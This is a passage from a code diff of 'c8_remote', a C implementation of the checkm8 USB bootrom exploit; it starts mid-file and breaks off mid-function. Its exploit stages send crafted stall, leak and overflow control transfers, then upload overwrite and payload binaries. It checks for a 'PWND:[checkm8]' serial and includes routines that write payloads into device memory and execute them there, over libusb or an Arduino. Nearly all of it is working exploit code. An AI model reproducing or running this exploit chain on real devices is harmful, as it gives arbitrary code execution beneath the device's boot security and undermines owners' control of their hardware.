no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int no_leak(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("no_leak(dev = %p)\n", dev);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int usb_req_stall(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("usb_req_stall(dev = %p)\n", dev);
|
||||
unsigned char data[0];
|
||||
no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int usb_req_leak(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("usb_req_leak(dev = %p)\n", dev);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int usb_req_no_leak(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("usb_req_no_leak(dev = %p)\n", dev);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int stage1_function(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("exploit stage 1\n");
|
||||
unsigned int i;
|
||||
|
||||
stall(dev);
|
||||
leak(dev);
|
||||
for(i = 0; i < 6; i++) no_leak(dev);
|
||||
|
||||
reset(dev);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int stage2_function(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("exploit stage 2\n");
|
||||
unsigned char databuf[0x800];
|
||||
memset(databuf, 'A', 0x800);
|
||||
|
||||
partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
|
||||
no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
|
||||
reset(dev);
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int stage3_function(struct pwned_device *dev)
|
||||
{
|
||||
long index = 0, amount = 0;
|
||||
long ow_len, pl_len;
|
||||
|
||||
checkm8_debug_indent("exploit stage 3\n");
|
||||
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
|
||||
fseek(overwrite_file, 0, SEEK_END);
|
||||
ow_len = ftell(overwrite_file);
|
||||
rewind(overwrite_file);
|
||||
|
||||
unsigned char overwrite_buf[ow_len];
|
||||
fread(overwrite_buf, ow_len, 1, overwrite_file);
|
||||
fclose(overwrite_file);
|
||||
|
||||
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
|
||||
fseek(payload_file, 0, SEEK_END);
|
||||
pl_len = ftell(payload_file);
|
||||
rewind(payload_file);
|
||||
|
||||
unsigned char payload_buf[pl_len];
|
||||
fread(payload_buf, pl_len, 1, payload_file);
|
||||
fclose(payload_file);
|
||||
|
||||
stall(dev);
|
||||
leak(dev);
|
||||
leak(dev);
|
||||
|
||||
checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
|
||||
while(index < ow_len)
|
||||
{
|
||||
if(ow_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
|
||||
else amount = ow_len - index;
|
||||
checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
|
||||
|
||||
no_error_ctrl_transfer_data(dev, 0, 0, 0, 0, &overwrite_buf[index], amount, 100);
|
||||
index += amount;
|
||||
}
|
||||
|
||||
index = 0;
|
||||
amount = 0;
|
||||
|
||||
checkm8_debug_indent("\ttransferring payload (%i bytes)\n", pl_len);
|
||||
while(index < pl_len)
|
||||
{
|
||||
if(pl_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
|
||||
else amount = pl_len - index;
|
||||
checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
|
||||
|
||||
no_error_ctrl_transfer_data(dev, 0x21, 1, 0, 0, &payload_buf[index], amount, 100);
|
||||
index += amount;
|
||||
}
|
||||
|
||||
reset(dev);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int check_function(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("checking device serial\n");
|
||||
unsigned char serial_buf[128];
|
||||
unsigned int i;
|
||||
int ret;
|
||||
|
||||
ret = serial_descriptor(dev, serial_buf, sizeof(serial_buf));
|
||||
if(IS_CHECKM8_FAIL(ret)) return ret;
|
||||
|
||||
checkm8_debug_indent("\tgot serial %s\n", serial_buf);
|
||||
for(i = 0; i < 13; i++)
|
||||
{
|
||||
if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) return CHECKM8_FAIL_NOEXP;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
struct pwned_device *exploit_device()
|
||||
{
|
||||
int ret;
|
||||
struct pwned_device *res = calloc(1, sizeof(struct pwned_device));
|
||||
checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
|
||||
res->status = DEV_NORMAL;
|
||||
res->idVendor = DEV_IDVENDOR;
|
||||
res->idProduct = DEV_IDPRODUCT;
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
res->ard_fd = -1;
|
||||
#else
|
||||
res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
|
||||
#endif
|
||||
|
||||
ret = open_device_session(res);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open device session\n");
|
||||
free_device(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ret = check_function(res);
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tdevice is already exploited\n");
|
||||
res->status = DEV_PWNED;
|
||||
close_device_session(res);
|
||||
return res;
|
||||
}
|
||||
else if(ret == CHECKM8_FAIL_NODEV)
|
||||
{
|
||||
checkm8_debug_indent("\tno device found\n");
|
||||
free_device(res);
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
// normal device found - exploit
|
||||
ret = stage1_function(res);
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
ret = stage2_function(res);
|
||||
usleep(500000);
|
||||
}
|
||||
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
ret = stage3_function(res);
|
||||
usleep(500000);
|
||||
}
|
||||
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
ret = check_function(res);
|
||||
}
|
||||
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
res->status = DEV_PWNED;
|
||||
close_device_session(res);
|
||||
return res;
|
||||
}
|
||||
else
|
||||
{
|
||||
free_device(res);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void free_device(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("free_device(dev = %p)\n", dev);
|
||||
if(is_device_session_open(dev)) close_device_session(dev);
|
||||
#ifndef WITH_ARDUINO
|
||||
free(dev->bundle);
|
||||
#endif
|
||||
free(dev);
|
||||
}
|
||||
251
c8_remote/src/payload.c
Normal file
251
c8_remote/src/payload.c
Normal file
@@ -0,0 +1,251 @@
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "usb_helpers.h"
|
||||
|
||||
|
||||
struct payload
|
||||
{
|
||||
PAYLOAD_T type;
|
||||
unsigned char *data;
|
||||
int len;
|
||||
|
||||
long long install_base;
|
||||
struct payload *next;
|
||||
struct payload *prev;
|
||||
};
|
||||
|
||||
struct payload *get_payload(PAYLOAD_T p)
|
||||
{
|
||||
FILE *payload_file;
|
||||
struct payload *res;
|
||||
char *path;
|
||||
|
||||
switch(p)
|
||||
{
|
||||
case PAYLOAD_SYNC:
|
||||
path = PAYLOAD_SYNC_BIN;
|
||||
break;
|
||||
|
||||
case PAYLOAD_AES:
|
||||
path = PAYLOAD_AES_BIN;
|
||||
break;
|
||||
|
||||
case PAYLOAD_SYSREG:
|
||||
path = PAYLOAD_SYSREG_BIN;
|
||||
break;
|
||||
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("get_payload(p = %i) -> %s\n", p, path);
|
||||
res = malloc(sizeof(struct payload));
|
||||
if(res == NULL) return NULL;
|
||||
|
||||
if((payload_file = fopen(path, "rb")) == NULL)
|
||||
{
|
||||
free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
fseek(payload_file, 0, SEEK_END);
|
||||
res->type = p;
|
||||
res->len = ftell(payload_file);
|
||||
res->data = malloc(res->len);
|
||||
res->install_base = -1;
|
||||
res->next = NULL;
|
||||
res->prev = NULL;
|
||||
|
||||
rewind(payload_file);
|
||||
fread(res->data, 1, res->len, payload_file);
|
||||
fclose(payload_file);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void free_payload(struct payload *p)
|
||||
{
|
||||
free(p->data);
|
||||
free(p);
|
||||
}
|
||||
|
||||
long long curr_address = 0x180150000;
|
||||
long long get_address(struct pwned_device *dev, LOCATION_T l)
|
||||
{
|
||||
//TODO: make an actual memory allocator
|
||||
long long ret = curr_address;
|
||||
curr_address += 0x1000;
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
struct payload *curr;
|
||||
for(curr = dev->installed; curr != NULL; curr = curr->next)
|
||||
{
|
||||
if(curr->type == p) return curr;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
||||
{
|
||||
struct payload *curr;
|
||||
if(dev->installed == NULL)
|
||||
{
|
||||
dev->installed = pl;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
|
||||
|
||||
curr->next = pl;
|
||||
pl->prev = curr;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
||||
{
|
||||
if(dev->installed == pl)
|
||||
{
|
||||
dev->installed = NULL;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
pl->prev->next = pl->next;
|
||||
pl->next->prev = pl->prev;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
{
|
||||
checkm8_debug_indent("install_payload(dev = %p, p = %i, loc = %i)\n", dev, p, loc);
|
||||
int ret;
|
||||
struct dev_cmd_resp *resp = NULL;
|
||||
struct payload *pl = get_payload(p);
|
||||
long long addr = get_address(dev, loc);
|
||||
|
||||
if(pl == NULL || addr == -1)
|
||||
{
|
||||
checkm8_debug_indent("\tinvalid args (either payload or address)\n");
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret)) return ret;
|
||||
|
||||
resp = dev_write_memory(dev, addr, pl->data, pl->len);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
close_device_session(dev);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\tdone copying and linking payload\n");
|
||||
pl->install_base = addr;
|
||||
dev_link_payload(dev, pl);
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
close_device_session(dev);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
//TODO: free memory in memory allocator
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
|
||||
int ret, i;
|
||||
struct dev_cmd_resp *resp;
|
||||
struct payload *pl;
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed\n");
|
||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
resp->ret = CHECKM8_FAIL_NOINST;
|
||||
return resp;
|
||||
}
|
||||
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
resp->ret = ret;
|
||||
return resp;
|
||||
}
|
||||
|
||||
unsigned long long args[nargs + 1];
|
||||
args[0] = pl->install_base;
|
||||
checkm8_debug_indent("\tinstall base is 0x%lX\n", args[0]);
|
||||
|
||||
va_list arg_list;
|
||||
va_start(arg_list, nargs);
|
||||
for(i = 0; i < nargs; i++)
|
||||
{
|
||||
args[i + 1] = va_arg(arg_list, unsigned long long);
|
||||
checkm8_debug_indent("\textracted arg %lx\n", args[i + 1]);
|
||||
}
|
||||
va_end(arg_list);
|
||||
|
||||
resp = dev_exec(dev, 16, nargs + 1, args);
|
||||
close_device_session(dev);
|
||||
return resp;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len)
|
||||
{
|
||||
checkm8_debug_indent("read_payload(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||
int ret;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
resp->ret = ret;
|
||||
return resp;
|
||||
}
|
||||
|
||||
resp = dev_read_memory(dev, addr, len);
|
||||
close_device_session(dev);
|
||||
return resp;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("write_payload(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||
int ret;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
ret = open_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||
resp->ret = ret;
|
||||
return resp;
|
||||
}
|
||||
|
||||
resp = dev_write_memory(dev, addr, data, len);
|
||||
close_device_session(dev);
|
||||
return resp;
|
||||
}
|
||||
672
c8_remote/src/usb_helpers.c
Normal file
672
c8_remote/src/usb_helpers.c
Normal file
@@ -0,0 +1,672 @@
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
#include <termio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include "ard_protocol.h"
|
||||
|
||||
#else
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "libusbi.h"
|
||||
|
||||
#endif
|
||||
|
||||
int open_device_session(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("open_device_session(dev = %p)\n", dev);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
// based on https://github.com/todbot/arduino-serial/blob/master/arduino-serial-lib.c
|
||||
struct termios toptions;
|
||||
char buf;
|
||||
int ard_fd = open(ARDUINO_DEV, O_RDWR | O_NONBLOCK);
|
||||
if(ard_fd == -1)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open arduino device %s\n", ARDUINO_DEV);
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\topened arduino device %s\n", ARDUINO_DEV);
|
||||
if(tcgetattr(ard_fd, &toptions) < 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get arduino terminal attributes\n");
|
||||
close(ard_fd);
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
speed_t brate;
|
||||
switch(ARDUINO_BAUD)
|
||||
{
|
||||
case 4800:
|
||||
brate = B4800;
|
||||
break;
|
||||
|
||||
case 9600:
|
||||
brate = B9600;
|
||||
break;
|
||||
|
||||
case 19200:
|
||||
brate = B19200;
|
||||
break;
|
||||
|
||||
case 38400:
|
||||
brate = B38400;
|
||||
break;
|
||||
|
||||
case 57600:
|
||||
brate = B57600;
|
||||
break;
|
||||
|
||||
case 115200:
|
||||
brate = B115200;
|
||||
break;
|
||||
|
||||
default:
|
||||
brate = B9600;
|
||||
break;
|
||||
}
|
||||
|
||||
cfsetispeed(&toptions, brate);
|
||||
cfsetospeed(&toptions, brate);
|
||||
|
||||
toptions.c_cflag &= ~PARENB;
|
||||
toptions.c_cflag &= ~CSTOPB;
|
||||
toptions.c_cflag &= ~CSIZE;
|
||||
toptions.c_cflag |= CS8;
|
||||
toptions.c_cflag &= ~CRTSCTS;
|
||||
|
||||
toptions.c_cflag |= CREAD | CLOCAL;
|
||||
toptions.c_iflag &= ~(IXON | IXOFF | IXANY);
|
||||
toptions.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);
|
||||
toptions.c_oflag &= ~OPOST;
|
||||
|
||||
toptions.c_cc[VMIN] = 0;
|
||||
toptions.c_cc[VTIME] = 0;
|
||||
|
||||
tcsetattr(ard_fd, TCSANOW, &toptions);
|
||||
if(tcsetattr(ard_fd, TCSAFLUSH, &toptions) < 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to set terminal attributes");
|
||||
close(ard_fd);
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\tset arduino terminal attributes\n");
|
||||
|
||||
// read a setup verification byte
|
||||
while(read(ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tarduino successfully setup\n");
|
||||
dev->ard_fd = ard_fd;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else if(buf == PROT_FAIL_INITUSB)
|
||||
{
|
||||
checkm8_debug_indent("\tarduino failed to init USB host shield\n");
|
||||
close(ard_fd);
|
||||
return CHECKM8_FAIL_NOTDONE;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tunexpected response %X\n", buf);
|
||||
close(ard_fd);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
int i, usb_dev_count, ret = CHECKM8_FAIL_NODEV;
|
||||
libusb_device **usb_device_list = NULL;
|
||||
|
||||
if(dev->bundle->ctx == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tbundle ctx is NULL, allocating\n");
|
||||
dev->bundle->ctx = malloc(sizeof(libusb_context));
|
||||
libusb_init(&dev->bundle->ctx);
|
||||
}
|
||||
else
|
||||
{
|
||||
if(dev->bundle->descriptor != NULL &&
|
||||
dev->bundle->descriptor->idVendor == dev->idVendor &&
|
||||
dev->bundle->descriptor->idProduct == dev->idProduct)
|
||||
{
|
||||
checkm8_debug_indent("\tbundle is already valid\n");
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
usb_dev_count = libusb_get_device_list(dev->bundle->ctx, &usb_device_list);
|
||||
checkm8_debug_indent("\tfound %i USB devices\n", usb_dev_count);
|
||||
|
||||
dev->bundle->device = NULL;
|
||||
dev->bundle->handle = NULL;
|
||||
dev->bundle->descriptor = malloc(sizeof(struct libusb_device_descriptor));
|
||||
|
||||
for(i = 0; i < usb_dev_count; i++)
|
||||
{
|
||||
dev->bundle->device = usb_device_list[i];
|
||||
libusb_get_device_descriptor(dev->bundle->device, dev->bundle->descriptor);
|
||||
|
||||
if(dev->bundle->descriptor->idVendor == dev->idVendor &&
|
||||
dev->bundle->descriptor->idProduct == dev->idProduct)
|
||||
{
|
||||
checkm8_debug_indent("\tchecking device %i ... match!\n", i);
|
||||
ret = CHECKM8_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\tchecking device %i ... no match\n", i);
|
||||
}
|
||||
|
||||
libusb_free_device_list(usb_device_list, usb_dev_count);
|
||||
if(ret == CHECKM8_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\topening device and returning success\n");
|
||||
ret = libusb_open(dev->bundle->device, &dev->bundle->handle);
|
||||
if(ret == 0)
|
||||
{
|
||||
libusb_set_auto_detach_kernel_driver(dev->bundle->handle, 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open device\n");
|
||||
libusb_exit(dev->bundle->ctx);
|
||||
free(dev->bundle->descriptor);
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tcould not find a matching device\n");
|
||||
libusb_exit(dev->bundle->ctx);
|
||||
free(dev->bundle->descriptor);
|
||||
|
||||
dev->bundle->ctx = NULL;
|
||||
dev->bundle->device = NULL;
|
||||
dev->bundle->handle = NULL;
|
||||
dev->bundle->descriptor = NULL;
|
||||
}
|
||||
|
||||
return ret;
|
||||
#endif
|
||||
}
|
||||
|
||||
int close_device_session(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("close_device_session(dev = %p)\n", dev);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
int ret = close(dev->ard_fd);
|
||||
dev->ard_fd = -1;
|
||||
if(ret == -1)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close arduino fd\n");
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
#else
|
||||
if(dev->bundle->handle != NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tclosing handle\n");
|
||||
libusb_close(dev->bundle->handle);
|
||||
dev->bundle->handle = NULL;
|
||||
}
|
||||
|
||||
dev->bundle->device = NULL;
|
||||
|
||||
if(dev->bundle->ctx != NULL)
|
||||
{
|
||||
checkm8_debug_indent("\texiting context\n");;
|
||||
libusb_exit(dev->bundle->ctx);
|
||||
dev->bundle->ctx = NULL;
|
||||
}
|
||||
|
||||
if(dev->bundle->descriptor != NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfreeing device descriptor\n");
|
||||
free(dev->bundle->descriptor);
|
||||
dev->bundle->descriptor = NULL;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
#endif
|
||||
}
|
||||
|
||||
int is_device_session_open(struct pwned_device *dev)
|
||||
{
|
||||
#ifdef WITH_ARDUINO
|
||||
return dev->ard_fd != -1;
|
||||
#else
|
||||
return dev->bundle->ctx != NULL && dev->bundle->device != NULL &&
|
||||
dev->bundle->handle != NULL && dev->bundle->descriptor != NULL;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
int partial_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
checkm8_debug_indent(
|
||||
"partial_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
char buf;
|
||||
struct usb_xfer_args args;
|
||||
args.bmRequestType = bmRequestType;
|
||||
args.bRequest = bRequest;
|
||||
args.wValue = wValue;
|
||||
args.wIndex = wIndex;
|
||||
args.data_len = data_len;
|
||||
|
||||
checkm8_debug_indent("\tsending data to arduino\n");
|
||||
write(dev->ard_fd, &PROT_PARTIAL_CTRL_XFER, 1);
|
||||
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived ack\n");
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tsuccess\n");
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else if(buf == PROT_FAIL_USB)
|
||||
{
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
|
||||
checkm8_debug_indent("\trequest failed with error %X\n", buf);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tunexpected response %X\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
struct timeval start, end;
|
||||
unsigned char usb_transfer_buf[8 + data_len];
|
||||
int ret;
|
||||
|
||||
gettimeofday(&start, NULL);
|
||||
|
||||
struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0);
|
||||
libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, data_len);
|
||||
memcpy(&usb_transfer_buf[8], data, data_len);
|
||||
libusb_fill_control_transfer(usb_transfer, dev->bundle->handle, usb_transfer_buf, NULL, NULL, 1);
|
||||
|
||||
checkm8_debug_indent("\tsubmiting urb\n");
|
||||
ret = libusb_submit_transfer(usb_transfer);
|
||||
if(ret != 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to submit async USB transfer: %s\n", libusb_error_name(ret));
|
||||
libusb_free_transfer(usb_transfer);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
while(1)
|
||||
{
|
||||
gettimeofday(&end, NULL);
|
||||
if((1000000 * end.tv_sec + end.tv_usec) - (1000000 * end.tv_sec + start.tv_usec) > timeout)
|
||||
{
|
||||
ret = libusb_cancel_transfer(usb_transfer);
|
||||
if(ret != 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to cancel async USB transfer: %s\n", libusb_error_name(ret));
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
int no_error_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
checkm8_debug_indent(
|
||||
"no_error_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
unsigned char buf;
|
||||
struct usb_xfer_args args;
|
||||
args.bmRequestType = bmRequestType;
|
||||
args.bRequest = bRequest;
|
||||
args.wValue = wValue;
|
||||
args.wIndex = wIndex;
|
||||
args.data_len = data_len;
|
||||
|
||||
checkm8_debug_indent("\tsending data to arduino\n");
|
||||
write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER, 1);
|
||||
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived ack\n");
|
||||
do
|
||||
{
|
||||
if(buf == PROT_FAIL_USB)
|
||||
{
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
checkm8_debug_indent("\treceived error %X but ignoring\n", buf);
|
||||
}
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
} while(buf != PROT_SUCCESS);
|
||||
|
||||
checkm8_debug_indent("\tsuccess\n");
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
int ret;
|
||||
unsigned char recipient = bmRequestType & 3u;
|
||||
unsigned char rqtype = bmRequestType & (3u << 5u);
|
||||
if(recipient == 1 && rqtype == (2u << 5u))
|
||||
{
|
||||
unsigned short interface = wIndex & 0xFFu;
|
||||
ret = libusb_claim_interface(dev->bundle->handle, interface);
|
||||
if(ret > 0)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to claim interface: %s\n", libusb_error_name(ret));
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
}
|
||||
|
||||
ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len,
|
||||
timeout);
|
||||
checkm8_debug_indent("\tgot error %s but ignoring\n", libusb_error_name(ret));
|
||||
return CHECKM8_SUCCESS;
|
||||
#endif
|
||||
}
|
||||
|
||||
int no_error_ctrl_transfer_data(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
